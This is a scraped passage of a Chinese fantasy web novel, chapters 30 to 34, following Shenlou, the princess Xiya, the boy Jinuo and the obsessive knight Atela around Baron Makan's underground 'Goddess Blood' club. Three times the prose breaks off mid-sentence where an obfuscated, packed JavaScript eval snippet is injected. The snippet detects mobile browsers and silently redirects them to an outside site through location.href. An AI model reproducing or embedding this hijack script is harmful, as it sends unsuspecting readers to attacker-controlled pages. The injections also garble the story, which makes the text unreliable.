伪装魔法能改变人的样貌,但气质习惯不经过刻意训练,依然会显得格格不入。 只是大多数时候,愚笨的人察觉不了,而聪明的人不会多问。 算起希恩、百合修女和蜃楼,希娅吃了三鉴,怎么着也长了三智了。她不多问,蜃楼若不招惹她,她也不会再去执着些什么。至少他作为合作伙伴,的确比上一个要来得让人愉快…… 但是。 在垂落的斗篷之下,希娅摩挲手背,在心中咀嚼他刚才的举动。 那是什么呢,同情?不,不对……仔细一想,蜃楼刚才的眼神,她好像很久以前就见过了。 在大雪纷飞的霍斯菲尔德贫民窟里,在肮脏腥臭的街巷角落。当她奄奄一息地躺在那里、全身都被大雪掩埋,连求救的声音都发不出来的时候。 有人找到了她。 那人身上披着厚重而干净的暗红色斗篷,白发如雪,却愿意不顾地面的脏污半跪下来,温柔地与她平视。 那个时候,那双流沙般闪耀的瞳仁里,也是这样的颜色—— 善意的、悲戚的、不知所措的;又带一些微妙的通透。似乎已经看穿她不为人知的过去,接纳的姿态宛如神明接受使徒,那样高高在上的慈悲,反而让人觉得不爽。 在这样的眼神面前,就算是已经背上数条人命的希娅,也时常会产生一种自己似乎被当成可怜的小猫咪收养的错觉。 …… 不对。 希娅忽然想起什么,抬头看向蜃楼。她试图从中找到另外的相同点,只因她终于想起来了:那个真正将她从地狱里解救出来、带给她黄粱一梦的“蜃楼”,和眼前这一个太过相像,简直是同一个人;可又有一点巨大的差异,让她一时之间竟然无法给出肯定的判断。 那时救下她的蜃楼,看她的眼神……要更炽热一些。 31. 第 31 章 作为霍斯菲尔德最神秘的宗教组织,百合花姐妹会极少在人前现身。妇人会选择找上书记官,大约是想着从领主那儿探探口风的。 蜃楼不知道希娅在想什么,但能料想到,她的心情应该不会太好受。 “百合修女”这名字,他在游戏剧情中是有所耳闻的。 游戏没有描述希娅在“女神之血”的三年具体是如何度过的,却交代了她脱颖而出成为“百合修女”、最后却险些在贫民窟死去的整个过程。 希娅今年也才二十岁。要说她足够坚强、没留下什么创伤,那是不可能的。参与战争的士兵都会患上后遗症,经历过人间炼狱的公主,更没理由完好无损地从那段回忆中走出来。 ……可她又没做错什么。 蜃楼尤其不喜欢这样的故事情节。罪魁祸首明明另有其人,却要让无辜的人背负罪责。虽然他早知道这个世界是扭曲的、不公平的了,可那位深受迫害的女孩现在就站在他身边,他实在无法说服自己保持置身事外的态度。 恰好,他在这里不是什么普通人,而是“蜃楼”。 只要见到马坎男爵,他就有办法得到能为希娅洗清冤屈的证据。 城主府上见不到人,他该想想其他办法。 现在,蜃楼正在思索下一步对策,闹上门的妇人则恰到好处地分散走了季诺与希娅的注意。她坚称那位老兵是被当地村民所害,嚷嚷着要求领主给她主持公道、求百合修女来帮忙——书记官似是见惯了这样的场面,表情有些麻木。虽然几次试图给出解决办法,却都被打断了,只能头疼地捏捏眉心,听她继续抱怨下去。 可见那位“老杰克”,在她心中也不是份量多重的存在。 比起担心病重的丈夫,这人似乎更看不起郊野的村民,还有一股子对“百合修女”的狂热崇拜。与其说她是想救丈夫,倒不如说想找机会见见偶像更加恰当。 虽说百合修女也是能顺藤摸瓜找到男爵的线索之一,但蜃楼并不认为她真能求到她们露面。他想离开了,可转头去看希娅,发现她正盯着那位诉苦的妇人,表情若有所思。 “凡事要讲证据。”希娅张口打断她,声音冷冷的,颇有些路见不平的意味,“你连你他到底生了什么病都说不清楚,就这样污蔑别人?当务之急是救人,再这样浪费时间,等人死了,就是百合修女来了也没办法。” 妇人转头看她,表情有些恼怒:“你……!你这村姑,咒我们家老杰克死啊!” 怎么就成咒人死了,蜃楼颇为费解地抱起胳膊,同时往希娅身前挡了挡。不友善的视线被他阻隔,比起希娅,他看起来更不好惹。那妇人悻悻地收回视线,又去求那位书记官:“大人,您就想想办法吧……” 在蜃楼身后,希娅无声地笑了笑,随后看向季诺。季诺本有些犹豫,在注意到希娅的视线之后,先是停顿了一下,随即心领神会地张口提议:“那个,其实我也懂一些医术,说不定能帮上忙……” 他的声音完全被妇人聒噪的抱怨声埋没了。妇人没理会他,书记官却眼前一亮,从他堆满了文件的书桌前站了起来。 …… 于是,数分钟后。 蜃楼一行人与书记官一起,走在了前往老兵家中的路上。 “抱歉,耽误你们的时间了。”书记官客套了一下,状似无意地打探起他们的来历,“你们和那座村庄的人,是什么关系呢?” “哦,村里的玛丽婶婶,是我们的表婶。”希娅敷衍地回答过去,不动声色地转移话题,“不过,这个‘百合修女’,我从没有听说过。有那么神奇吗?” 书记官似乎是知道什么内幕的,此刻再听她提起来,蹙起眉头,露出复杂的神色。作为对比,那位老兵的家眷、打扮精致的妇人则是不屑地哼了一声,说道:“我说呢,乡下佬,真是没见识……不知道‘百合修女’,不会连‘百合花姐妹会’都没听说过吧?” 希娅嗤笑一声,举动并不十分友善。季诺咳嗽了两下,接过话茬,虚心地解释道:“我们之前住的村子消息闭塞,对这些事确实不太了解……” “‘百合花姐妹会’可是咱们霍斯菲尔德的活招牌!”他这样的姿态显然更符合妇人的心意,她叉起腰,得意地介绍起来,“战争时期,城里受到格拉斯千人大军的奇袭,弗洛瓦的卫兵被调虎离山,只有马坎男爵和他一百人的小队守在这里。百人对上千人,城池最后却生生守住了!你们知道为什么吗?” 蜃楼一直沉默,此时却忍不住开口:“为什么?” 妇人哼哼一笑,说道:“当然是因为我们的‘百合花姐妹会’了!百合修女个个医术如神,哪怕是被炸烂双腿、击穿脊椎的士兵,都能医治到完好如初的样子呢!” “有马坎男爵指挥,兵士们在前线作战、修女在后方义诊,这是多么稳固团结的防线啊!除了霍斯菲尔德,还有哪座城市能够做到这么完美的以少胜多?” 季诺不了解背后的蹊跷,但因为懂医,飞快地察觉到其中的漏洞。倘若是真的被炸烂双腿、击穿脊椎,就算弗洛瓦最优秀的医师在场,也不可能将人恢复到完好如初的样子。 他蹙起眉头,向蜃楼望去,却见对方也是一副一言难尽的表情。 “真是令人惊叹的医术。”而希娅笑了一声,别有深意地说,“但是,既然修女们这样善良,您怎么会找不到求她们义诊的门路呢?” 那妇人答不出个所以然,却能品出希娅话里暗讽的意味。她转过头去,气愤地指着希娅说:“又是你这个小村姑……谁说修女会拒绝了?我侄子可是……说到底,你个乡下来的懂什么!要没有‘百合修女’帮忙守住防线,你今天还能站在这说风凉话?” “夫人,我能理解您的心情。”蜃楼无奈地站出来调停,“但是,眼下最要紧的还是先确认您丈夫的情况。” 至少这的确是个无可指摘的理由。 那妇人冷哼一声,顺着他的台阶下了。 几人来到她的家里。这是栋坐落于商店街附近的小房子,用漂亮的红色砖瓦搭建起来,门头上还挂着一盆翠绿的吊兰,显然在平民中已经十分优渥的家庭了。妇人拿出挂在腰间的钥匙,打开房门,一股温暖而馨香的气息扑面而来,是燃烧的壁炉和热汤的味道。 她先是邀请书记官走了进去,自己紧跟其后。蜃楼跟在他们后面,前脚刚踏入房门,忽然停了下来。 “怎么了?”希娅在他身后不解地问。 蜃楼没说话,只是往她身前挡了挡,看向房屋里面。 不会有这么巧的事情吧? 那妇人走进房间内,仿佛瞧见什么救星似的,来不及脱下披风,便笑眯眯地往房间深处跑去:“哎唷,小阿忒!婶婶就知道还是你最有办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938247|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法……” 居室尽头,一个体型偏胖的男人被安置在床上。他紧闭着双眼,半边身体正不自然地抽动着。至于床边,则站着一个年轻的男人,和一个穿个长袍、全身以白色绷带严严实实地包裹起来的女人。 年轻男人黑发红瞳,长相俊逸,身上却散发出一股邪性的气场。此刻听见妇人的声音,抬起头来,阴郁的目光扫过众人,最后在门前的蜃楼身上停住。 “婶婶。”他蹙起眉头,有些不悦地开口,“我不是让你在家等着吗?这些人是……” 妇人顿了一下,讪笑起来:“我这不也是担心你叔叔吗……” 至于书记官,他从进门开始便盯着那个站在床边一言不发的女人,表情难掩诧异。 “女士。”片刻之后,书记官吸了一口气,别开视线,“看来您已经找到医治丈夫的办法了。如果没其他事的话,我就先回领主府了……” “哎,哎,大人,我还有话想说呢!”妇人拦住他,看了眼正站在蜃楼背后向内张望的希娅,愤愤地说,“我家老杰克这病来得蹊跷,肯定是那帮狼心狗肺的乡下佬给他下毒了!您一定要追查到底,还我们一个公道……” 季诺从蜃楼背后探出头来,疑惑地看向他们。 “您先生的症状,看起来像是卒中。”他看了一眼床上抽搐的男人,关心地说,“卒中和毒没什么关系,他平时嗜酒吗?以前有没有头痛、心悸的症状?” 他的语气是友善的,却似乎戳中了什么,妇人一愣,脸色变得难堪起来。 “大人说话,小孩子插什么嘴!”她走到门边,作势驱赶他们,“‘百合修女’来了,这里也没你们什么事了。别妨碍她给我们家老杰克治病!” 希娅拧起眉头,正想说些什么,却被蜃楼按住肩膀,往后一退,从门中退了出来。 “您说得对。”他的态度忽然变得顺从,甚至还温柔地帮妇人将房门虚掩上了,“我们这就离开。”说罢,拎着季诺与希娅,转身就走。 “蜃楼先生?”季诺有些茫然。 他相信蜃楼,顺从地和他离开,却忍不住问出他的困惑:“治疗卒中需要工具的。那个人却什么都没带,手上还缠着绷带……那样真的能进行治疗吗?太奇怪了!” “季诺。”蜃楼摸了摸季诺的脑袋,踌躇了一会儿,安慰道,“……你和我们不一样,是能拥有正常生活的。知道得太多,未必是一件好事。” 等到霍斯菲尔德的篇章结束之后,季诺就该回归自己的生活了。到时找个正常的、繁荣的小镇,闲适地度过余生,显然是比跟着他们要安定许多。 季诺蹙起眉头,露出不解的神色。他看向另一边的希娅。希娅正偏头望着那座红砖小屋,视线定在那氤氲着热气的窗户上,不知在想些什么。 他抿着嘴唇,失落地低下头去。 季诺早有察觉,希娅与蜃楼似乎都有各自的深重秘密。这两个人用高高的壁垒将自己掩藏起来,而他夹在中间,是以真心对待他们、却仍被障壁死死地阻挡在外了—— 就像个局外人。 可他实在不知道自己还能做些什么了。 本该是故乡的地方早已物是人非,更不会有家人在门后等他。季诺想通过帮助蜃楼与希娅来找到自己存在的意义,但是现在,他在这世间仅有的两个朋友似乎也要将他拒之门外了。 32. 第 32 章 蜃楼离开之后,书记官也匆匆告辞。他们避之不及的态度十分可疑,但妇人满心沉沦于见到“百合修女”的喜悦,并未察觉到这一点。 她回到侄子身边,忍不住将崇拜的视线投向这位修女。尽管她用面纱蒙着脸、手上也缠着厚厚的绷带,但那股慈悲而出尘的气质,如同女神下凡,说是花神维洛尼亚在人间的代行者也不为过。 “修女,您看,我们家老杰克这是……”妇人搓着手,期盼地开口询问道。 然而,修女却只是微微颔首,没有回答她的意思。厚重的面纱纹丝不动,妇人甚至不能看出她的表情,只得讪讪地干笑了两声,望向她的侄子。 “阿忒菈!”她呼唤他的名字,“修女治病,婶婶是不是该回避一下?” 阿忒菈回过神,视线从小屋的窗户上收了回来。他看向满脸期待的妇人,沉声说道:“您先去楼上等一会儿,等我叫您再下来。” 妇人点点头,提着裙子忙不迭地上楼去了。木制楼梯被踩得吱呀作响,直到关门声响起,阿忒菈才有所动作,从他的口袋里取出了一块金色的石头。 那块石头与投影石的形状相似,只是其中篆刻的回路更加复杂、蕴含的魔力也更为庞大。百合修女见到它,尽管依然保持着得体的动作,身体却止不住地颤抖起来,连连向后退了几步。 阿忒菈睨了她一眼,没说什么,面色却格外阴沉。他将石头扔给修女,修女不敢再动,捧着那块石头,在床边跪坐下来。 她深吸一口气,抬起手,颤抖地做出双手合十的动作,虔诚地祈祷起来。 那枚石头被包裹在她的掌心里,不过一会儿,便像感应到什么似的,散发出淡淡的光辉。只见有丝丝缕缕的、宛如蚯蚓一般扭曲着的细线,从男人的额头钻出来,又被吸收进那块金色的石头里。金石闪了闪,它的性质悄然发生了变化。 直至男人的抽搐彻底停息,那块石头已经变成了一只肥硕的黑色短虫。短虫不住地抽搐翻涌,姿态可憎,修女却习以为常地捏起它,解开面纱,缓慢地将短虫送进她空荡荡的口腔里。 在做出吞咽的动作之后,修女露出无比痛苦的神色。 她“嗬、嗬”地唤了几声,忽然倒在地上抽搐起来。 阿忒菈似乎是见惯了这样的场面,不为所动,只是心不在焉地望着窗外。直到修女不再动弹,他才转过头去,探了探她的鼻息。 没死。 他收回手,取出通讯石,调整了一番。一阵清脆的铃声响起来,不过片刻,通讯石中传出另一个男人的声音:“哟,阿忒菈。怎么样,你舅舅的病治好了吗?” “嗯。”阿忒菈心不在焉地应了一声,“修女我会带回去的。不过,柯林,能再帮我查一件事吗?” “什么?” “刚才,有三个农夫装扮的人来过红砖房了。”阿忒菈顿了顿,血红的眼眸下翻涌起危险的气息,“有个女人,我总觉得非常熟悉……他们现在应该还没有走远。帮我找人盯着他们,我今晚不去俱乐部了。” “哦?”那头的男声顿了一下,调侃起来,“女人?这是铁树开花了?真难得啊,小阿忒菈。你上次对女人感兴趣是什么时候……” 阿忒菈没理会他,伸手在通讯石的顶端按了一下。“滴答”一声,男人的声音消失了,世界仿佛都安静下来。只有厨房里炖着甜汤的铁锅,发出“咕咚咕咚”的响声。 阿忒菈深吸一口气,闭上眼睛又睁开来,看向仍然倒在地上、不省人事的修女。 他弯下腰,将人像拖着死去的牲畜一样拖了出去。然后迈着恹恹的步子,经过厨房,走到大门前,脚步一顿,厌倦地垂下头去。 奶油与砂糖的香气从厨房中飘出来。 “烦死了。又煮甜汤……” 阿忒菈低声抱怨了一句,打开门的同时,向楼上喊道:“婶婶——舅舅没事了,您下来吧。” 不等妇人回应,他就这样托着修女,如猫一样敏捷地跃上了房屋的顶端。 室外的天已经黑了下来。冬日的气温一入夜更加刺骨,街上的行人渐渐稀少,只有房屋一排排地亮起了灯光。 没有人注意到楼房之间穿梭的黑影,恰如此时此刻,在无人知晓的某处,希娅推开窗户,支起脸颊,百无聊赖地向外望去。 漆黑的发丝随风飘起,希娅将它们拂至耳后,看向天空,懒洋洋地打了个呵欠。 * “百合花姐妹会”的线索,姑且算是中断了。 但这并不意味着结束。 蜃楼回到旅店,在季诺睡下之后,从行李中翻出了那块暗红色的绒布。 这是他刚来到这个世界时随手扯下的窗帘。现在翻出来一看,还是感慨万千。 这块布,继他的披风、希娅的毯子之后,又能派上新的用场了。 在希娅被栽赃而死的这个结局中,蜃楼在一家神秘的俱乐部观看了她的死亡。这家俱乐部的名字已经可以确定,就是“女神之血”。 ……他刚穿来的时候,就是在同样的地方,扯下这块窗帘的。 它来自“女神之血”。 这意味着,如果使用传送阵,蜃楼可以直接借它抵达地下俱乐部的位置,找到他想要的证据。 只是,传送阵造成的波动,势必会引来皇室的注意。 霍斯菲尔德和歌登镇不一样,城内街巷几乎贴满了各式各样的悬赏。强盗、逃兵、小偷,试图刺杀大皇子亚纶的希娅更是其中的“头号犯人”。蜃楼现在还能仗着伪装魔法隐藏自己,可一旦在城内使用过传送阵,只怕连这样的优势都要受到限制了。 所以,他不能拖沓。要用这一次传送的机会,彻底洗刷希娅的冤屈。 在人们都沉沉睡去的深夜,蜃楼佯装小憩,闭目思考能够两全其美的解法。 要说蜃楼不用睡觉,也有这样的好处。起码他不用在白天分神去想了,更好把希娅和季诺糊弄过去。 有歌登镇的前车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952880|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之鉴在,这一次,在蜃楼想出答案之前,是决不会贸然启动传送阵的—— 然而,命运却好像总是与他作对。 先是BE开局、又被诓去给原蜃楼收拾了烂摊子。现在好不容易拥有“从长计议”的时间,却有新的麻烦找上门来了。 …… 直说结果:希娅不见了。 彼时,蜃楼正在房间内雕刻一颗金色的魔石。这是投影石与通讯石的原材料,据系统所说,是一种特殊的、蕴含魔力的矿石,不仅能作为能源使用,石头本身也能被雕琢为道具,价格比成品要便宜许多。 蜃楼花了一枚银币,买来了好几块这样的石头。他一贯擅长这种心灵手巧的工作,不出几个小时的功夫,已经雕出好几颗投影石来了。他原本是打算卖掉这些,做希娅夺嫡之路的“启动资金”的。 最后一颗,正好作为通讯石送给希娅。外面买的不放心,还是自己做的更有品质保证。蜃楼专心地雕到一半,忽然听见一阵异常的风声…… 他抬头一看,只见窗外响起窸窸窣窣的声音,紧接着闪过一道十分可疑的黑影。季诺还在熟睡,蜃楼却产生不好的预感。他跑去希娅房间敲门,无人应答;再推门一看,果然——人已经不在了。 床上的被褥整整齐齐,没有被人睡过的痕迹。紧挨着床边的窗户则大开着,没有希娅的身影,只有寒风呼呼地吹进来。蜃楼走到窗前,向外望去,视线恰好捕捉到街巷尽头窜过一道瘦长的黑影…… 真是谢了。 他用脚想都知道是谁。 蜃楼十分郁闷,“砰”的一声关上了窗户。 他都把希娅藏那么严实了。阿忒菈是怎么发现他们的? ……算了。这种事情怎么样都无所谓了。 最重要的是,哪怕希娅有一点不愿意,她都不会这么老实地任由阿忒菈将她带走的。 她又在想什么呢? 蜃楼揉了揉眉心,感觉有些无奈。 阿忒菈作为男主角,是蜃楼的另一个极端。蜃楼是不容许希娅忤逆他、背叛他的,但阿忒菈这个人,尤其是在“女神之血”被查封之后,他几乎将希娅当成他的全部了。别说背叛,她就是要他立刻去死,阿忒菈都能毫不犹豫地去跳河的。 可是,就算以对待希娅态度的角度出发,阿忒菈也完全不能跟善良的季诺相提并论。他跟蜃楼一样,本质上依然是个邪恶的角色。 阿忒菈在“女神之血”以斗士出身,手下沾的血比任何人都要多。不止是角斗场上的对手,其中更有窥见“女神之血”的秘密、妄图将之公之于世的人。 他是马坎男爵的伥鬼。 希娅也许不会像憎恨哥哥们一样恨他,但也没什么非得和他合作的理由。更不用提现在蜃楼也是站在她那一边的,有他的力量,干什么去指望阿忒菈这种家伙啊? 除非—— …… 蜃楼想到了什么,停顿一下,立刻转身回到自己的房间里去。 33. 第 33 章 房间里,季诺已经醒了。 听见开门的声音,少年揉着眼睛从床上坐了起来。他先是茫然地看了蜃楼一眼,似乎意识到什么,连忙询问道:“蜃楼先生,是出什么事了吗?” 蜃楼抱起那块暗红色的绒布,打开衣柜。定向传送阵启动,衣柜门后的空气几经扭曲,显现出神殿废墟的景象来。 “希娅不见了。”他一边把布丢进废墟内,一边对季诺说,“我去找她。你在这里等着,不要乱跑。” 季诺愣住,想起白天的事情,表情有些失落:“没有什么我能帮得上的忙吗?” 蜃楼停下动作,侧首看向季诺。 时间所剩不多,他只能尽快向季诺解释眼下的情况:“你没有告发我,已经帮了很大的忙了。皇室之争很危险的,掺和得多了,你可能会死。” 季诺低下头,认真地说:“我知道。但是,蜃楼先生,我已经无家可归了,也不知道自己还能做些什么……至少让我偿还您的恩惠,好吗?” 蜃楼看着他,露出意外的神色。 是因为他改变了剧本吗?季诺如今的表现和游戏里很不一样。 按照游戏剧情,倘若希娅没有死于栽赃,她就能回到皇城,与达木兰宫中的季诺见面了。但是,直到希恩死去、达木兰宫荒废,她才会主动选择收留无处可去的季诺——就像阿忒菈的情况一样,这是蜃楼传授给她的“驭人之术”,只有在绝境相逢,才能让部下更加死心塌地。 入队的季诺又成了食物链的底端,时常被争风吃醋的阿忒菈欺辱。如果可以选择,蜃楼相信他并不会主动参与到这档子事里去的。 在剧情里,季诺说“不能这样”的次数,远远比“想要帮忙”来得多。 但他既然已经下定了决心,蜃楼也没有硬拦着季诺的理由。沉吟片刻,他从桌上拿起那些雕刻好的投影石,递给了他。 “这是我改良过的投影石,一颗能投出差不多七十寸的影像……”蜃楼说,“把这些东西放在城中人多的地方。城主府门口也丢一颗,不要被卫兵发现。” 季诺不疑有他,双手接下投影石,小心地将它们收进他的木箱里。 “希娅大概是一个人去‘女神之血’了。”蜃楼顿了顿,继续说道,“那里太危险,我去把她带回来。等你放完这些投影石,就回到神殿里。在我回来之前,不要乱跑,明白吗?” 季诺点点头,眼神比之前明亮了些。他相信蜃楼的能力,并不担心此去路途的凶险,只是认真地看着他,关心地说:“路上小心。” 蜃楼向他颔首,转身走进衣柜门中。 没有燃烧的壁炉、明亮的烛台,前些日子支起的篝火也早已熄灭了。神殿内部漆黑一片,只有寒风从残破的窗户外呜呜地送进,将整座废墟都衬得阴冷诡谲起来。 蜃楼在废墟里转了一圈,找到他上次留下的传送阵。他站在传送阵旁边,手里拎着那块窗帘,陷入沉思。 在这里使用传送阵,他们一时半会儿查不到源头,不过…… 他要先确定好联结那些投影石的投影法阵应该刻在哪里。 他想了一下,去敲系统:“弗洛瓦的人,是怎么在希娅的脑袋里留下法阵的?” 系统惊奇地说:“你还对这种手段感兴趣啊?他们给希娅用的手法与微创手术类似,只不过把手术刀换成魔力。过程就是在她的脑袋里用提纯的魔力冲刷出一条魔法阵的回路……” 蜃楼沉吟片刻,俯下身来,口中念诵咒语,在地面凝出一片透明的冰晶。 他坐下来,看着上面蜃楼的倒影——他一回到旅馆就解除伪装了,现在还是蜃楼的那副样子。白色长发没再剪过,大多时候用草绳扎成低马尾,更方便行动。 不知是不是错觉,他总觉得蜃楼的神态似乎有些改变了。如今再看这张脸,陌生感已经少了许多。偶尔还会产生一种照镜子的错觉…… 算了,现在不是在意这种事情的时候。 蜃楼伸出手指,触碰到这具身体微热的眼眶。他深吸一口气,对系统说:“教我。对了,还有蜃楼在歌登镇留下的法阵……” 他忽然有了个一箭双雕的主意。 * 已经死过一次的希娅,无比相信一个道理: 这个世界上,除了她自己,谁都不可抱有期望。 她从不指望蜃楼为她做点什么。现实已经向她证明过数次了,把希望寄托在他人身上只会落得悲惨的下场。希娅绝不坐以待毙,她要自己去寻找办法。 霍斯菲尔德这个地方,她待过三年。 “女神之血”的记忆历历在目,希娅知道主事人最爱去哪一家酒馆喝酒、男爵的走狗又时常出没于哪个地方。 没有人能限制她的行动,希娅只缺少一个契机。 现在,她终于等到这个机会。 红砖屋里的年轻男人,希娅回忆起他的名字时,竟觉得恍如隔世。 ——阿忒菈,马坎男爵的走狗。 还在“女神之血”的时候,这个男人对她格外热情。不过,再热烈的感情都比不上男爵的命令,到了关键的时候,他对她可从未手软过。 阿忒菈是条没有主人就活不下去的狗。 一年多以前,无视希娅的恳求,将她丢进贫民窟的也是这个家伙。 红砖屋外,隔着布满雾气的窗户,希娅看见站在床边的阿忒菈。 他也在看她。 希娅知道,阿忒菈看穿了蜃楼的伪装魔法,已经认出她来了。 狗的鼻子比什么都灵。现在呢,这个人,又厚着脸皮找上了她。 希娅坐在稻草堆上,看着正从一个精致的礼盒中取出一把镶嵌着宝石的匕首的阿忒菈,讽刺地说:“你都知道我是谁了。怎么不杀我呢?” 他们正位于“女神之血”内部,空置的兽圈角落里。夜色未深,角斗尚未开始,附近冷冷清清的,只有野兽与鲜血的气息盘旋在空气中,不见几个活人。 阿忒菈低着头,喉结滚动,断断续续地说:“……马坎男爵没有下这样的命令。希娅,我、我一直想见你。再、再过几天就是你的生日了,我……” 男人双手发颤,过长的刘海几乎遮住他的眼睛。而那双隐藏在碎发之后的、血色的瞳仁下,是浓稠到凝成实质的痴迷——从角斗场初次见面的那一瞬起,他就对希娅陷入生理性的“一见钟情”了。 这才是他的真面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964707|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目。 阿忒菈在平时尚能保持正常人的伪装,一到与希娅独处的时候,就会变成这副模样。 希娅看着他手里精致的礼盒,那是在阿忒菈认知中,最适合她的“见面礼”——一把精致的匕首。是,要论杀人放火,它小巧轻便又锋利无比,比园艺剪刀来得好用很多,确实会是一件相当趁手的武器。 可希娅并不觉得开心,只感到厌恶。 “一年前,也是马坎男爵下令,你才对我见死不救的。”她从稻草堆上一跃而下,将他手中的礼物打翻到脏污的饲料槽里去,冷冷地开口,“阿忒菈,你就是一条狗。有什么资格对我示好?” 阿忒菈弓着背,毫不恼怒,踉跄着从饲料槽里捡回他精心准备的礼物。 “希、希娅……我……”他用力擦去礼盒上的脏污,脸颊上泛起不自然的绯红,磕绊地说,“我是男爵的骑士,不能违抗他的命令……但是……以、以后,不管你想做什么,我都帮你,好吗?” 他紧紧地盯着她,目光里哀求与兴奋并重,让人隐生不适。 希娅眯起眼睛,她正等着他这句话呢。 “好啊。”她擦了擦手,冷冷地说,“马坎男爵现在在哪里?我想见他,你会帮我吗?” 阿忒菈愣了一下,迟疑道:“希娅,可是,他……” 马坎男爵如果见到希娅,一定会杀了她的。 现在,希娅的通缉令几乎贴满霍斯菲尔德的大街小巷。马坎男爵对希娅的杀心不比弗洛瓦皇室要少,阿忒菈把她带回“女神之血”已经是十分冒险的举动了。要是再安排希娅与男爵见面,几乎就是让她自投罗网…… “你不是说男爵没有下令杀我吗?”希娅看着他,循循善诱地说,“反正我现在也是被全国通缉的罪人了。回到地下俱乐部里,不是正好符合我见不得人的身份?阿忒菈,你不想天天都见到我吗?” 阿忒菈顿住。他显然对希娅的这番话十分受用,又不知在脑海里想了些什么,双颊顷刻间便红得仿佛要滴出血一般。 他转过身去,咬着指甲思考起来…… 如果就这样让希娅离开,阿忒菈可能就再也见不到她了;可要是她愿意留下来,继续给男爵赚钱,后者未必不会同意。 那样的话,他就不用杀她、还能天天都见到希娅了! 当然,最重要的是—— 希娅只有在“女神之血”的时候,才是阿忒菈眼里最光彩夺目的样子。他喜欢看她浴血、看她杀人,而不是在雅致的房间里吃着点心聊天,过着平庸无趣的生活…… 阿忒菈的想法有时单纯得惊人。 他就这样成功地说服了自己,转过身去对上希娅漆黑的眼睛,高兴地说:“好!希娅,我这就带你去找男爵!” 希娅看着他,轻笑一声,按下自己过速的心跳。 什么证据、冤屈,还是该如何回到全须全尾地回到弗洛瓦皇室,她其实都不在意。她的爸爸早已向她已经证明这一点了:只要一个人足够强大,顶着戴罪之身登上王位也不会成为什么问题。 希娅会坐上那个至高无上的位置。 但,知晓她所有不堪的马坎男爵,绝不能活着与那个人见面…… 34. 第 34 章 有句话说得好,“高处不胜寒”。 现在,马坎男爵攥着酒杯,坐在“女神之血”的顶级包厢里,自心底发出这样的感叹。 在他面前,是卫兵们从歌登镇回收来的黄金。铃铛、雕像、纽扣……一堆闪闪发光的杂物,几乎将这个房间的角落塞满,已经是普通人不吃不喝工作百年都无法积攒的财富。 然而,马坎却为此发愁。 弗洛瓦与格拉斯的战争结束了,整个国度百废待兴。愿意铤而走险的人少了,来“女神之血”赚钱的斗士数量不比从前,商人牵来的奴隶更是一次比一次少。 俱乐部的营业额已经受到影响。马坎知道,再这样下去,倒闭只是时间问题。 他需要一笔钱去拓宽新的“进货”渠道,疏通关系。歌登镇上缴的这些黄金,数量十分可观,但非常可惜,这是应该上交给弗洛瓦皇室的财富。 歌登坐在沙发上,放下手里的羊皮纸,重重地叹了口气。 淡淡的玫瑰花香从纸上散发出来,它的边角用金色的墨汁画着玫瑰与荆棘的图样。这是弗洛瓦皇帝的敕令,加急送达,刚刚才被人交到他的手上。 弗洛瓦皇室一直知道歌登镇发生的事。四年前突然对格拉斯发动战争,也有贪图资源的原因。战争结束后,马坎接下命令,在霍斯菲尔德驻扎下来;而这座位于边陲之地的黄金小镇,也顺理成章地被他接手。 某种程度上说,歌登镇确实是块“金子”。弗洛瓦皇室不愿表现出贪婪的样子,便让马坎作为代理人,年年催促歌登缴税。 这样的肥差,马坎男爵当然不会放过。 马坎平民出身,在早年的战争里吃尽苦头,才爬到如今的位置。仗着小镇地势偏远、信息闭塞,马坎向歌登镇要求的税率是弗洛瓦要求的两倍。多余的部分则被他扣下来,拿去经营这座“女神之血”了。 时至如今,他积累下的财富,已经足够建立起一座富丽堂皇的庄园。 可这对马坎来说,是远远不够的。 他需要的,足够买下一整个国家的财富。 “女神之血”只是开始。马坎不仅痴迷于赚钱,更钟爱手握权力、一句话决定他人生死的感觉。可在弗洛瓦,他尚且要服从皇室的安排,还有一群毫无真才实学、只知道作乐的家伙们,凌驾在他的头上。 他不愿久居人下。 可惜天不遂人愿,格拉斯竟然这么快就战败了…… 乱世不再,没人愿意让自己的孩子去做奴隶,也没有人愿意冒着生命危险与野兽搏斗来赚钱了,俱乐部的生意大不如前。 马坎最近刚联络上一伙原格拉斯的人口贩子。格拉斯战败之后,他们四处绑架无家可归的人,卖给弗洛瓦的地主。他看中这个机会,想和他们达成“长期合作”,却被狮子大开口,要了几千枚金币过去。 现在钱给出去了,格拉斯的奴隶却还在来的路上。“女神之血”人手短缺,来看戏的贵族们没伺候好,更不愿意掏钱。 